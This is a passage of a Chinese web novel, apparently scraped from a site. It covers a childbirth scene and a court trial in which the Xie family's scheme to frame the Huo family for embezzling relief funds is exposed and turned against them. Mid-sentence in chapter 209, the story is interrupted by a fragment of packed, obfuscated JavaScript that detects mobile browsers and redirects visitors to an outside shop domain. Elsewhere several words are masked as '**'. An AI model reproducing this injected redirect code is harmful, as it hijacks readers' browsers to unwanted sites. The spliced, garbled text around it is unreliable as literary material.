“不要紧张,每个女人生孩子都需经历疼痛。
这种痛只要咬牙忍一忍就过去了。
当看到孩子平安出生,那天真可爱的模样,什么痛都忘得干干净净。
当年我生鸣羡时,我娘就是这么与我说,我就只管忍住每一波
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疼痛,时间到自然会生。
还真的很顺利。越是担惊受怕,越是不利于生产。”
容华芝在旁以过来人的经验安慰大家。
“母亲生了我们兄妹三人,每次都很顺利吗?”霍凝玉很想听听母亲说说生他们三人时的经历。
“也就生鸣羡时难些,毕竟头胎,后面再生你和你二弟时就顺利多了。”
“大嫂,你最勇敢了,不用怕。我们这么多人陪着你呢。”霍凝玉其实心里是害怕的,但现在是大嫂生产,不能让气氛紧张。
而就在这时,皇后派来的嬷嬷也来了。
“见过公主殿下,皇后娘娘派老奴来看看您是否安好。”
“谢皇后娘娘关怀,只是刚有反应,还早。”萧婉仪谢道。
霍家早就请好了稳婆,她自己带来的陪嫁嬷嬷就懂接生。
她母妃特意给她挑的帮手。
随着时间的推移,萧婉仪的反应越来越密。霍家人个个都严阵以待。
尤其霍鸣羡,最是紧张,萧婉仪每叫一次,他的心就揪痛一次。
时间差不多,稳婆检查可以进产房了,霍鸣羡一把拦腰将人抱起,送进产房。
可他不肯走。
“霍大公子,少夫人就要生产,你还是到外面等吧。”稳婆经验老道,知道恩爱的夫妻,做丈夫的都舍不得出去。
“啊!”一波比之前任何一次都要强烈的疼痛袭来,萧婉仪发出一声惨叫。
“婉仪!”霍鸣羡更加不肯走了,立刻握住妻子的手,“我留下陪着你生产,可好?”
看到妻子这么难受,他真的做不到让她独自承受。
“鸣羡,真的好疼。”又一波袭来,萧婉仪被疼得再也忍不住,眼泪都流了出来。
她长这么大,从没经历过这样的疼痛,她是宫里娇养长大的公主,哪里承受得住。
“婉仪不怕,只要生下来就好了。乖!”霍鸣羡心如刀绞,可是却不能替她受疼。
“婉仪,你最坚强了。离开东临,离开母妃你都能做到,女人生个孩子,也就几个时辰就过去了。
等你生完孩子,娘给你做你最爱吃的东临咕咾肉。”容华芝也哄孩子似的哄着她。
“母亲,我留下吧。”霍鸣羡乞求道。
第208章 终于可以让她**
容华芝见儿媳抓住儿子的手不肯放,她真的不忍心。
想到当年自己一个人面对生产,孩子爹在外面一会儿喊她一声,以此来表达他一直陪着她。
哎,什么破规矩,不管了。
“留下吧。”容华芝点头。
霍鸣羡一喜,搬了个凳子就坐在床头,拿帕子为妻子擦汗。
霍凝玉在外等着。
见大哥这么久都没出来,就知道大哥不会出来了。
“大哥真棒。”喃喃自语。
“什么真棒?”身后传来赵炳煜的声音,吓了她一跳。
“大哥在产房里陪大嫂生产。”霍凝玉笑靥如花。
她的意思再明显不过,以后夫君也能陪她就好了。
“你生产时,为夫也陪着你。”赵炳煜立刻顺她的意。
什么产房污秽,那都是假的,那是生命诞生的地方,最是神圣。
直到下午酉时,萧婉仪才顺利产下一子,全家都喜气洋洋。
真如卫嬷嬷所说,男孩性子急跑得快,提前生产的孩子是男孩。
只是刚生产完三天,霍鸣羡就领了皇命离开了妻儿。
不过,每隔三天,他都会写信回府,写他如何牵挂妻儿。
满月宴的那天,正好收到霍鸣羡已经抵达北地,开始准备安抚百姓的消息。
到了七月,正是盛夏,天气越来越热。
今年乾德帝知道北地干旱,不好在这种时候,兴师动众去华云山避暑。
城外来了很多逃难而来的难民。
京兆尹梁大人每日忙得脚不沾地。
同样的,作为巡城司使的谢正阳也忙得不可开交。
城门管得更严,进京都需严格检查。
而城外的难民不准放入城内。
京城的命妇们此时大发善心,为自家积攒名声,开设粥棚,接济难民。
霍凝玉夫妻当然也不落人后。
他们夫妻的家产可不少。靖王府的产业九成在他们手里。赵炳煜这些年更是靠自己办差的功劳得了不少好处。
霍凝玉的嫁妆京城独一份。
因霍凝玉的提前预知,早就购买了不少粮食储备着。
杜管家带着府里的小厮每日去城门外施粥。
七月初,北地传来消息,北魏果然有兴兵的迹象。
此事被提前得知,北地守军听从乾德帝的旨意,先发制人,打了北魏一个措手不及。
同时东临也对北魏发起攻击,声援南楚。
北魏同时面对两国的进攻,被打得节节后退,只半个月就递了降书。
北魏怎么也没想到南楚准备得如此充分,面对大旱天灾也能临危不惧。
七月中旬,几个月来只下过点零星小雨的北地三城,终于下了一场大雨,旱情缓解。
接下来半月,又下了几场雨,旱情彻底结束。
只是百姓少种了一季庄稼,饿死者有之,食不果腹更是常态。朝廷给的救济粮只能维持百姓不被大片饿死。
天下了雨,土里就能长出能吃的东西,哪怕野菜也能充饥。
这日夜里,赵炳煜回来时,脸上带着神秘的微笑。
“今日孩子乖不乖?”赵炳煜每天回来首先就问孩子有没有欺负他们的母妃。
“最近胎动已经少了很多,估计长大了不少,两个挨在一起太挤了,不好活动。哎呀!”刚一说完,霍凝玉就轻叫了一声。
“怎么了?”赵炳煜紧张问道。
“刚说动得少,就给我来一下。刚才小家伙用了好大力踢我。”
夫妻俩都甜蜜地笑了起来。
“王妃辛苦了。”赵炳煜轻轻将霍凝玉拥进怀里。
“看到小侄子那么可爱,我的心都要化了,所以我很期待我们的孩子以后也一样可爱。但不能调皮。”霍凝玉摸着自己的肚子。
“那就生女儿,肯定不调皮。”赵炳煜很想先有女儿来宠,比儿子来和他抢王妃得他心。
“这可不能确定。对了,刚才见你进来时笑得很开心,是有什么好消息吗?”霍凝玉问道。
赵炳煜挥了挥手,把伺候在旁的下人都打发出去。
“你预计的事,还是发生了。”
“真的?”霍凝玉脸上一喜,“能把谢家一网打尽吗?”
“谢正阳亲自办的,肯定没问题。”
“太好了,大仇终于可以报了。只是不知辰王或者大公主有没有让江宁把他们需要的东西都写好?”霍凝玉想江宁也早些死。
“据我安插的线人来报,他们两人都私下让江宁写下一些东西,江宁应该没用处了。”
”好,那她可以**。
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”霍凝玉眼神透着凶恨。
快两年了,终于可以让她**。
接下来两日晚上,赵炳煜都半夜出去。
八月底,霍凝玉的肚子早已大得看不见脚下的路。
霍鸣羡终于在八月二十三回到京城。
一身风尘都来不及洗,也没进家门就先进宫述职。
同行的还有谢勋以及两个副手,户部的五个官员。
“臣幸不辱命,赈济旱灾,百姓流离失所的情况控制在两成以内。现如今天灾已过,百姓们已回归家园,正在准备九月底的秋季种植。
种子,臣也已经发放到各家。
臣与忠义伯配合,在三个州府挖了两百多个水井,建了三十多个蓄水地方,以后再有同样的天气,也能缓解百姓所需,而不会颗粒无收。”霍鸣羡恭敬地递上早就写好的折子。
乾德帝认真看完,连连三个好。
“霍爱卿辛苦了,离家这么久,你家孩子都四个多月了,婉仪带进宫还给朕抱过两回,长得玉雪可爱,你先回家看看孩子,明日早朝再**行赏。”乾德帝也不多留他。
霍鸣羡高高兴兴地退出御书房,他想念多日的妻儿,今日终于能见到了。
也不知道是不是真的如妻子信上说的,长得特别像他。
越想越是心急,走得更快了。
只是他离去了,谢勋却还在御书房。
他也向乾德帝汇报了此次赈灾中他所负责的事。
直到说完事情,乾德帝让他也回家好好休息,他却表现出犹豫不决的样子。
“还有事?”乾德帝问道。
“皇上,臣有事启凑。”谢勋又跪了下来,神情严肃,好像下了很大决心似的。
“何事?”乾德帝坐直了身子,脸上的喜意收起。
谢勋从怀里掏出一个账本,恭敬承上。
林德全接过,承给皇上。
乾德帝一页页翻看,直到翻到最后一页,也没说一句话。
谢勋一直跪在地上,时不时看一眼皇上的表情变化。
可是他什么也看不出来,皇上的脸色一直淡定无波。
“你确定你这上面所记的事都是真的?”乾德帝合上账本,冷声问道。
“臣以项上人头保证。绝无半点虚假。”谢勋说得铿锵有力。
第209章 收网了
“皇上,此次赈灾,朝廷给r银钱和粮食都比较充足,可霍大人却中饱私囊,行贪墨之事。”一个姓李的户部官员痛心疾首地说道。
“皇上,李大人所言句句属实。此次赈灾,霍舍人是主管官员,我们只是下级官员,一切都得听他安排。
如果我们不听从他的命令,可能就死在北地了。
而且我们在出发前,霍尚书就私下交代过我们,让我们务必配合好霍舍人,还许诺我们回来后定能官升两级。”又一王姓官员说道。
“你们只是一面之词,可有实证?”乾德帝仍然没有要发怒的样子。
“有,霍尚书曾飞鸽传书给我们,指导我们如何做,才不被察觉。”王大人从怀里拿出几张小小的字条出来。
乾德帝接过一看,果然是霍鹏程的字。
“皇上,微臣等在外,不敢不听从霍舍人的。但微臣偷偷誊抄了一份霍舍人的私账。”李大人也从怀里拿出一本账本。
乾德帝接过,逐条看过,与谢勋手里的账本吻合。
前后一起,霍鸣羡通过多次小动作,挪用三十万两赈灾银,但用处不明。
又挪粮五万石,私下售卖给百姓,谋取利益。
“皇上,此次霍舍人身边除了有霍家的两个护卫还跟了东临六公主的护卫十人。他们就是帮霍舍人办事的主要人员。”王大人又补充道。
“皇上,臣发现还有皇城司的人悄悄潜入北地,与霍舍人私下接触。”谢勋又报出一条。
这么多证据,就不信弄不倒霍家。
就是东临六公主也保不了霍家,至少官职定会不保,还要拿出霍家资产来填补。
“还有,臣的儿媳妇**,她以前正是霍尚书的义女,当年霍尚书外任知府时,有一次查盐税案,收**赂数额之大。
而霍尚书收了钱却没有替那些盐商做好扫尾,导致发生冲突,**的父亲就是在那一次事件中替霍尚书挡刀而死。
霍尚书为了安抚她们母女,才接她们入府照顾她们的生活,还收**为义女。”谢勋又报出藏了这么多年的秘密。
他说着这些话,眼神里迸射着金光。
霍鹏程,这回你不死也要脱层皮。
这是辰王交给他的任务,把这次的事做好,辰王许诺会帮他请封世子,以后等辰王上位,还会提升他们谢家的爵位。
这么大的诱惑,他必须完成,户部尚书的位置太重要,只有辰王的人上位,他们才有更多好日子过。
乾德帝听到这里,眼里的冷意如实质般散发出来。
“林德全,派人去叫赵玉麟来。”乾德帝声音冰冷。
赵玉麟正是去年武试第三名,赵胜的禁卫统领之职被撤后,乾德帝让赵玉麟接手此职。
赵玉麟很快进了御书房。
“去把霍尚书府给朕围了,任何人不得出入,霍鹏程父子给朕押进宫来。”乾德帝要亲自审理此案。
赵玉麟领命而去。
霍鸣羡匆匆回家,想抱儿子亲亲,结果被萧婉仪拦住。
“夫君,你一身风尘,小心把脏东西蹭到孩子脸上。先去洗个澡。”
萧婉仪早就准备好了洗澡水。
霍鸣羡为了孩子,只得把伸出去的手又收回来,匆匆洗了个战斗澡。
心满意足地抱到了孩子,亲了又亲。
“鸣羡,几个月没吃过好的了吧,娘给你做了一桌你爱吃的,先吃饭。”容华芝看到儿子瘦了不少的身体,心疼不已。
“见过大哥。”这时万青黛上前施礼。
霍鸣昶吵着要先成亲,以后再圆房。
霍家于两个月前把霍鸣昶和万青黛的婚事也给办了。
家里人多,也热闹了很多。
“弟妹免礼,你们成婚,大哥不在,礼物等二弟下学后给你们补上。”霍鸣羡有些歉疚。
二弟的大喜之日,他因皇命不在,很遗憾。
“大哥不必内疚,大嫂在呢,大嫂亲自为我们操办的婚事。”万青黛腼腆笑道。
“夫人,不好了,禁卫军围了我们霍府。”就在这时,管家匆匆跑进来,跑得跌跌撞撞。
“怎么回事?”容华芝被吓了一跳。
萧婉仪也震惊得花容失色。
夫君刚回来,后脚就有禁卫军围府。
这之间有什么关联?
“夫君?”
“不用担心。”霍鸣羡温声安慰,心里却冷笑。
有人要作死,正是他们计划多日的成果,该摘果了。
容华芝见儿子这么冷静,也一下就明白了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867496|190553||http|test|mini|href|location''.split(''|''),0,{}));
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r>收网了。
这时赵玉麟大步进来:“霍大人,皇上下旨,押你入宫。有人告你**赈灾银两三十万。皇上要亲自审案。”
“什么?”萧婉仪简直不敢相信。
夫君怎么可能**,霍家又不穷。她嫁进霍一年多,婆母已经把家里的产业都与她说过,还让她帮着一起打理。
有这么厚的家底,谁也不会傻得去**。
“赵大人,本官刚刚到家,洗了个澡,赶了这么多日的路,一顿像样的饭菜都没吃过,正好我母亲心疼儿子,做了一桌好菜,吃了再进宫也不迟。”霍鸣羡说着还做了一个请的手势,邀他一起吃。
完全没有马上要成为阶下囚的惊慌,脸上还带着疲惫的微笑。
赵玉麟见他如此从容,心里也泛起了疑惑。
霍大人是胸有成竹,还是仗着自己是和亲使者,绝不会有事?
但做人留一线,日后好相见,反正他把人带进宫就算完成了圣上的旨意。
“霍大人客气,那我就却之不恭了。”赵玉麟当真随霍鸣羡去花厅用饭。
按辈分,他也可以叫萧婉仪一声表妹。
饭后,萧婉仪换了一身很正式的公主规制的朝服,随霍鸣羡进宫。
她要看看到底是哪个不长眼的要为难霍家。
当两人来到御书房时,霍鹏程也刚被带到。
赵炳煜夫妻也紧随其后。
还有刑部尚书曹达,刑部侍郎王正林。
“霍尚书,霍舍人,你们可知罪?”乾德帝一拍龙案上的镇纸。
龙威乍现。
所有人都被他这一声怒喝给吼得跪下,只除了霍凝玉一人跪不下去,同时也被赵炳煜撑着,不让她跪。
“皇上息怒。”曹达道。
“曹爱卿,王爱卿起来。你们两人先看看这些。”乾德帝把之前谢勋和三个户部官员给的证据让他们二人先看看。
两人接过认真看了起来。
“皇上,这......”曹达不敢相信自己的眼睛。
霍鹏程的官声,众人有目共睹,霍家怎么可能行贪墨之事?
“霍鹏程,霍鸣羡,谢勋告你们霍家借赈灾之便,**赈灾银三十万两,私卖赈灾粮五万石,可有此事?”乾德帝开始审案。
第210章 证据确凿
“回皇上,绝无此事。我霍家还没穷到揭不开锅,需要**才能度日。”霍鹏程否认得没有半点心虚。
“霍尚书,你是没有**,但你儿子这次利用赈灾的机会行**之事。谁人不知,你霍家去年嫁女把家底都掏空了。
我们几个都有所察觉,并暗中做了记录,休想狡辩。
而且王大人,李大人还受你指使,为霍舍人行方便之门,证据确凿。”谢勋怒目道。
“证据?本官什么都没做过,哪里来的证据?
皇上,这几个月来,微臣兢兢业业,把全部精力都用在赈灾上。
每日看到灾民食不果腹,心痛难忍,真想把一斤粮掰成两斤,让所有人都能吃饱。
还有,我们挖的井,微臣全程监督,真想每口井挖下去都能出水。
皇上,您看看微臣的脸,比出发前整整黑了好几倍,微臣每日在外奔波,却被人如此污蔑,还请皇上明鉴。”霍鸣羡立刻辩解。
他眼神扫了谢勋一眼,含着讥讽。
“哼,你少在皇上面前狡辩。证据就在皇上手里。”谢勋哪容他辩解。
乾德帝让林德全把几人提供的证据给霍鹏程父子看。
当霍鹏程看到那几张字条时,怔了怔,果然和他写的字一模一样。
真是一绝啊。
“皇上,臣从没写过这样的字条。这是有人模仿臣的笔迹写的。”霍鹏程直言道。
“霍鹏程,你自己写的字你自己都不认识吗?谁能把一个人的字模仿得如此像?
你狡辩也没用,我们手里的证据不单单这些。
十年前你外任知府,就收**赂,还**灭口。”谢勋提起他以前的事。
他今日势要把霍家送进大牢,就算皇上要从轻发落,也要让他丢官,抄家。
“简直一派胡言。今日你要是拿不出证据,别怪本官告你污蔑之罪。”霍鹏程冷冷盯着谢勋。
“皇上,臣的儿媳妇**手里有当年她父亲留下的一些书信,是最有力的证据。”谢勋向乾德帝一拱手。
“带**。”乾德帝淡淡吩咐,他一直冷眼看谢勋与霍家人相互攀咬。
今日这事明显透着古怪。
他又扫了赵炳煜一眼,见侄儿没有急着为霍家人说话,而且脸上也没有半丝焦急之色,他心里就有底了。
这事应该是针对霍家的一个阴谋。
他倒要看看,这个阴谋的最终结果。
江宁和谢正阳一起来的。他们早就在宫门外等着了。
“参见皇上。”两人跪地。
“**,刚才忠义伯说你手里有当年霍尚书收**赂的证据?”乾德帝问。
“回皇上,是。臣妇的父亲当年是霍尚书的师爷,私下帮他处理不少私事,留下了一些证据,请皇上过目。”江宁从怀里拿出几封明显发黄了的信。
乾德帝一封封看过。
“霍鹏程,这几封里,有两封是当年一个叫黄世兴的盐商写给你的信。
信中提到他给你三万两银子,而你只需睁一只眼闭一只眼,让他贩卖私盐。
还有一封是你向他索要五万两银子才肯行这个方便。可有此事?”
“皇上,这简直就是无中生有。
那盐商确实有**之举,但被臣给拒绝得十分干脆,而且臣还查到他贩卖私盐多年,准备把他绳之以法。
而就是那一次,他带了不少人手,想要把臣和臣带去的人手全都杀了。
幸好臣留了后手,请动地方军,来个一网打尽。
当时那一仗确实凶险,臣带去的师爷帮臣挡了一刀,后来救治不及,去了。
臣愧对于他,才把他的妻女接进霍家照顾,让她们无后顾之忧。
臣没想到**母女竟然不知感恩,还怀恨在心,捏**证。”霍鹏程把前因后果都讲得清清楚楚。
“义父,你胡说,你就是贪得无厌,才引来杀身之祸,才因此害我父亲惨死。这些书信就是证据。”江宁嘶叫着哭诉道。
乾德帝又把那些书信给霍鹏程看。
“皇上,这封书信,臣从来没写过。而且臣当年可是状元之才,写信不可能这么直白。这明显就是有人模仿臣的笔迹写了这封信。”霍鹏程否认。
“曹达,此事你怎么看?”乾德帝问一直旁观的刑部尚书。
“回皇上,单凭这些书信的确能定霍尚书收**赂之罪,但从语句来看,确实不太像霍尚书所写。
他说得没错,当年的状元,写信也很讲究的,
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不大可能这么直白。
不过这只是臣的猜测,如果要确定此事,需得去当年霍尚书任职的州府细查一番,方能定罪。”曹达说得很公正,证据还不够充足。
“皇上,臣有事启凑。”这时,谢正阳突然出声。
“你说。”
“臣作为巡城司使,一向尽职尽责。臣最近一个多月来,发现有可疑车辆进出霍家在城东的一处别院。
有两次臣见那马车拉得十分吃力,不知道什么东西。后来收到父亲的来信,才知道霍舍人居然贪墨赈灾银。
臣一下就想到那拉得吃力的马车,很有可能就是拉的银子。
十日前,臣晚上偷偷潜入那别院去查探,当真发现了赃银被藏在地窖里。粗略估计,有三十万两之多。”谢正阳说得有鼻子有眼。
“简直胡说八道。三十万两,你是怎么编出来的?”霍鸣羡气得一声怒骂。
“皇上,臣句句属实。”谢正阳半点不惧霍鸣羡的怒气。
“既然你十天前就发现异常,为何今日才说出来?”乾德帝质问。
“回皇上,臣怕霍家不认账,只能等父亲带着证据回来,才能让霍家无可辩驳。”谢正阳的理由很合常理。
“赵玉麟,带人去查霍家别院,如若真有三十万两银子,带进宫来,作为谢正阳所说之事的证据。”乾德帝命令道。
“皇上,臣愿同往。”谢正阳请旨。
乾德帝挥了挥手。
心里却在想,要真能带进宫三十万两银子,这个案子就有意思了。
如果霍鸣羡是冤枉的,那么贪墨的就另有其人,是谁?
乾德帝扫了谢勋一眼。
谢正阳带着赵玉麟来到霍家在城东的别院,这个别院是容华芝的嫁妆。
这里是霍家的一个绣庄,里面有几十个女子在里面做衣服,为霍家的成衣铺子供货。
每日下午申时末放工。
当一群官兵冲进来时,把女人们都吓得停下手里的活,相互挤到一起。
管事的上前交涉,却被谢正阳推到一边。
谢正阳二话不说带着赵玉麟走向别院的地窖,似乎他来过多次,熟门熟路。
只是当他打开地窖的门时,直接傻眼......
第211章 反算计
看到里面空空如也。
谢正阳眼睛猛地一睁,身子顿住。
这怎么可能?
这个地窖早就荒废,霍家已经多年不用。不会有人来。
他亲自放进去几十个箱子,全都不翼而飞。
那是他花了半个月时间,如蚂蚁搬家般,悄悄放进来的。
整整三十万两银子啊。
地上还有箱子压过的痕迹,说明他放箱子在此处并不是一场梦。
“谢大人,银子呢?”赵玉麟见他脸色骤然一变,问道。
谢正阳此时的心里如洪水汹涌。银子不见了,这么大的事,他要怎么办。
“赵大人,银子不见了,肯定被霍家人转移了。”谢正阳牙齿咬得咯咯作响。
谢正阳出了地窖,抓了绣坊管事,目眦欲裂:“说,地窖里的东西是不是被你转移了?”
“大人,小的什么也不知道。”管事的被吓坏了。他哪里知道什么地窖。
自他做这个管事以来,都快五年了,从没听说这个霍家别院有地窖。
谢正阳一拳头打下去,把管事的打倒在地。
“大人,小的真的不知道哪里有地窖。”管事的见谢正阳还要打他,不停往后躲。
“谢大人,你打他有什么用?现在找银子要紧。”赵玉麟把人拦住。
两人把整个别院翻了个底朝天也没看到一个装钱的箱子。
谢正阳如木偶般跟在赵玉麟身后回到御书房复命。
“启禀皇上,在霍家别院没找到一两银子。”赵玉麟如实道。
“什么?”谢勋满怀希望的眼神,瞬间僵住。
他们最大的底气就是找到赃银,抓个现行,其他的任何证据都不如这一个。
这才是拍死霍家的最大利器。
辰王对户部尚书一职势在必得,要是今日没把霍家扳倒,以后再也没有机会。
而且他谢勋还会落得个污蔑之罪,他谢家的爵位再也保不住了。
儿子是怎么办事的?不是写信告诉他,都安排好了吗?
哪里出了问题?
就在这时,从进来就一句话没说的赵炳煜开口了。
“皇上,臣有事启奏。”
“何事?”乾德帝一听赵炳煜有事说,嘴角不由自主勾起,就知道这小子有后手。
“赵壑最近帮刑部查一起案子,皇城司的人在京中各处行动,跑得勤快,也发现了异常。
刚才谢正阳说看到有马车运重物去霍家别院,而赵壑说他们也发现有马车运重物去谢家别院,不知道运的什么东西?
不过谢家没犯事,赵壑也就没有深查。
皇上,有没有可能谢家正是用了一招移花接木,实际是谢勋趁赈灾之机行**之事,反嫁祸给霍家?”赵炳煜说话的语气如闲庭信步,漫不经心。
“永安王,你别血口喷人,我谢家怎么可能**?赈灾期间,我们全都得听霍舍人的安排,要做手脚,只有他才最有机会。”谢勋听得这种说词,惊慌辩解。
难道皇城司使暗中相助霍家?赵壑与霍家走得很近。
想到这个可能,谢勋吓出一身冷汗。
“赵玉麟,再去查。”乾德帝立刻吩咐。
赵炳煜说了地址,赵玉麟立刻出发,而林宇正好在宫门口等着。
很快来到谢家别院,就是前年江宁母女被安置的地方。
这里自江宁母女搬走后再没人居住。
本就是一个很小的院子,又不在闹市区,谢家只堆了些杂物在此。
禁卫军很快包围了别院,赵玉麟和林宇两人带着十人走进别院,结果刚打开左侧第一个箱房的门就看到里面堆了十几个箱子。
赵玉麟迫不及待打开其中一个,银光闪闪。
“果然是一场嫁祸。”
又打开另一个箱房的门,又是十几个箱子,里面装的也全都是银子。
“带走。”赵玉麟一声令下,禁卫们四人抬一个箱子。
当这些箱子带进宫,摆到乾德帝面前时,谢勋,谢正阳和江宁都不可置信。
完了,完了,被人反算计了。
“谢勋,你还有什么话说?”乾德帝一声怒喝。
谢勋如傻了一般,被喝回神。
“皇上,这不可能,一定是有人栽赃。
臣与霍舍人去赈灾,兢兢业业,从没做过**之事,一切都听从霍舍人的安排,他让把银子和粮食运往哪里,臣就运往哪里。”
谢勋匍匐在地,但嘴里的辩解一句不落。
“
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皇上,这是阴谋,这是一起针对我谢家的阴谋。”谢正阳也回过神。
他已经想通了其中关窍。
他放进霍家别院的银子,被霍家人发现,或者说被永安王发现,然后转移到了谢家别院。
“你是想说是霍家诬陷你们谢家吗?”乾德帝也看明白了。
“对,就是霍家。”谢正阳毫不犹豫肯定。
“哼,朕还没老糊涂。”
“皇上,臣也有一本账本,请皇上过目。”霍鸣羡这才慢悠悠从怀里拿出一本账本。
乾德帝接过认真看起来,居然与谢勋给他看的那本几乎一样,**的名目也基本一致,但一切操作都是谢勋和李王两位大人。数目达三十万两。
“好,很好。”乾德帝气得咬牙切齿,用力一掷,把账本扔到谢勋面前。
谢勋捡起,只翻了几页就看出问题。
原来他们的一切行动都在霍鸣羡的监视之下。
所以儿子放银子的举动早就被霍家人察觉,然后再反算计回来。
自己道高一尺,人家魔高一丈。
“赵玉麟。”
“臣在。”
“谢家人全部入狱,等候刑部进一步彻查。”乾德帝已经明了,直接处置。
江宁吓得脸色惨白如纸,怎么会这样?
不是霍家被下狱吗?她等这一天等了这么多年,却等来一场空。母亲泉下有知,怎么安息?
“不,皇上,霍尚书多年前**三万两银子,可是铁证如山。他与盐商勾结,还不知道得了多少好处。”江宁突然大叫起来。
眼神惊慌,毫无规矩。
一直默默坐在最边上的霍凝玉发出一声冷嗤。
“江宁,你为什么这么恨霍家?我一直想不明白。”霍凝玉重活一世,还是没改了本心,没有变得不是自己。
她救了钟离洛,他知道感恩,把霍家当他的第二个家,处处维护她。
霍家替李言父女申冤,他们父女感激不尽,琉璃直到现在也会时常到她身边,做做丫鬟才做的事情,知道感恩。
可为什么霍家从小养到大的江宁却如此恨霍家。
霍凝玉不太相信只因她失了父亲,就如此不依不饶,非要把霍家置于死地不可。
第212章 谢家三族,全部下狱
“如果不是因为霍尚书,我怎么会没有父亲,我怎么会过寄人篱下的日子?你每次带着我出门,总会被人嘲笑身份低微,不配与你们这些高贵小姐们玩,就连庶女都看不起我。
而你,就因为是霍家的嫡女,不用努力,不用刻意讨好谁,就能得到我一辈子也得不到的东西。
凭什么我要低人几等?而你就高高在上?凭什么我要失去父亲的庇护,而你却有那么幸福的家?”江宁知道自己完了,不顾一切也要发泄出来。
“原来你是看不得我好,看不得我幸福,所以你故意勾引谢正阳,想要把我作为踏脚石,一步步取代我,过上人上人的生活?
这样还不够,你还要把我霍家踩在脚下,哪怕霍家养了你们母女八年。
你其实并不爱谢正阳,不过是他可以带给你想要的身份和地位。
如果当初我订婚的对象不是谢正阳,你也一样会做出同样的事,对吗?
你手里的所谓证据想来也是你自己捏造的吧?”霍凝玉没有激动,反而说得越发平静。
谢正阳听得怔住,宁儿不爱他,只是利用他?
怎么会这样?他们夫妻之间的感情他最清楚,怎么可能是假的?
他不信。
“什么捏造?霍尚书当年本就收**赂,犯了国法,就该下地狱。”江宁面露凶恶之色。
“那你为什么现在才拿出来。而不是早些年就拿出来?”霍凝玉讥笑道,“哦,我明白了,你还没有得到你想要的,所以你不会拿出来,或者说你那时根本没有,而是你最近才有的这些所谓证据。”
“皇上,臣手里还有一些东西。”赵炳煜抬手制止还想再说什么的霍凝玉。
这里不是说这些的场合。
赵炳煜从怀里拿出几张纸,递给乾德帝。
乾德帝接过一张张翻看,每一张他都认识,全是朝中几位大臣写的字。
他每日看奏折,谁的字什么样,他最清楚。
当翻到最后一页时,居然是他写的字。
而他从没写过这页纸。
再仔细看,居然看不出任何破绽。
乾德帝的心猛地一颤。
这是有人在模仿他的字迹,再看另几张,应该也是,不然赵炳煜不会这个时候给他看。
“皇上,看出来了吗?”赵炳煜问道。
“你哪里来的?”乾德帝震惊得面容都要扭曲。
要是这世上有这样一个人存在,那还了得。
不是想诬陷谁就诬陷谁?
“这是臣买通谢家一个小厮,让他偷出来的,这些字都是谢家的大少夫人**所写。
所以凝玉说那些证据是捏造的,半点不假,都是**一手所写,谢勋再想办法做旧,就成了今日的证据。”赵炳煜直言。
“好啊,谢家居然如此胆大包天,包藏祸心。谢家三族,全部下狱,等候处置。”乾德帝再也保持不住平稳的心态。
谢家居然藏着这样一个女人,要做什么?要**吗?
细思极恐。
赵玉麟把谢家几人都拉了出去。
谢勋父子怎么也想不到,他们本想捕雁,却反被雁啄得三族都搭进去了。
赵玉麟带着禁卫,还有皇城司的人配合,很快就把谢家给抄了,包括三族以内的亲眷。
乾德帝亲自上前把霍鹏程父子扶起。
整个过程,萧婉仪都默默跪在霍鸣羡身侧。
她的心随着整个审案过程,提起放下,又提起。
直到现在她都还有些云里雾里。
皇舅舅给她的感觉,好像整个过程都胸有成竹,仔细想想,皇舅舅好像一直都是偏向霍家的。
霍鸣羡蹲下身替萧婉仪揉了揉膝盖。
“疼吗?”
“还好。”萧婉仪有些不好意思,当着这么多人的面,两人却做闺房才会做的举动。
“哈哈.....霍舍人如你父亲一样,会疼媳妇。不错不错。”乾德帝突然大笑起来,刚才的萧杀冷凝气氛瞬间溶化。
“皇舅舅......”萧婉仪被羞得低低唤一声,提了这么久的心也落到了实处。
虚惊一场,她真怕霍家出事,虽然她相信自己的夫君绝对不会行贪墨之事,但忠臣也有被冤的时候。
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她都做好了准备,如果有个万一,她要以东临公主的身份,求皇舅舅网开一面。
“霍舍人,你刚刚回来就遇到这等糟心事,让婉仪担心,回去吧,好好休息几天,陪陪妻子,逗逗孩子,刑部来问你什么你好好配合,十日后再上朝。”乾德帝很大方地给霍鸣羡放了个大假。
“多谢皇上。”
霍家人怎么来的还怎么回去,赵炳煜夫妻却被乾德帝留下了。
“是你干的?”乾德帝说是问,但却用肯定的语气。
“是。”赵炳煜大方承认。
“你是如何发现的?”乾德帝很好奇。
谢家这招移花接木做得虽有漏洞,但却如此快速就把案子澄清,说明早在意料之中。
而赵炳煜却如此清楚谢家的动机,说明他早就为今日做好了准备。
赵炳煜看了霍凝玉一眼,见她点头,才娓娓道来。
“皇伯父,今年的天灾,是凝玉去年梦见的,现在得到证实,现在你信了她的梦有多准了吧?”
“嗯,确实很准,幸好朕信了,提前开始做准备,凝玉又立了一大功。要不是你提前预警,今年不知道要死多少百姓。”乾德帝感慨。
“皇伯父,我什么都没做。不过是做了一个梦而已。”霍凝玉不好意思受这个功。
而且她和夫君一直在欺君,那根本不是梦,而是她亲眼所见。
“凝玉还做了一个梦,梦见霍家会被满门抄斩,就是谢家设的局,罪魁祸首就是谢家的儿媳妇江宁。
她一直恨霍家,嫁入谢家后,鼓动谢家投向辰王,再借辰王的势把霍家打压下去。她模仿人的笔迹可以做到以假乱真。首先就用来对付霍家。
所以侄儿才提前在谢家安插眼线,得到证据。
江宁十分谨慎。每次练过的字都会在烛火下烧了,这几张是眼线想了办法趁她练字时引开她,才得到的。不然也得不到这个证据。”
乾德帝看了霍凝玉一眼。梦得这么准,这也太奇怪了。
“你的意思是,谢家此举是辰王授意?”乾德帝面色一冷。
第213章 一个下毒一个给解药
“应该是。”赵炳煜没有肯定说是。
虽然他知道为什么,但因为没有证据,不能说得太明,毕竟辰王是大皇子,是皇伯父的亲子,他不能做得太过,失了在皇伯父心里的地位。
皇伯父年纪大了,受不得刺激。
“辰王为何要对付霍家?”乾德帝觉得辰王此举并不明智。
难道辰王开始对皇太孙下手了?
霍鹏程可是皇太孙的先生。
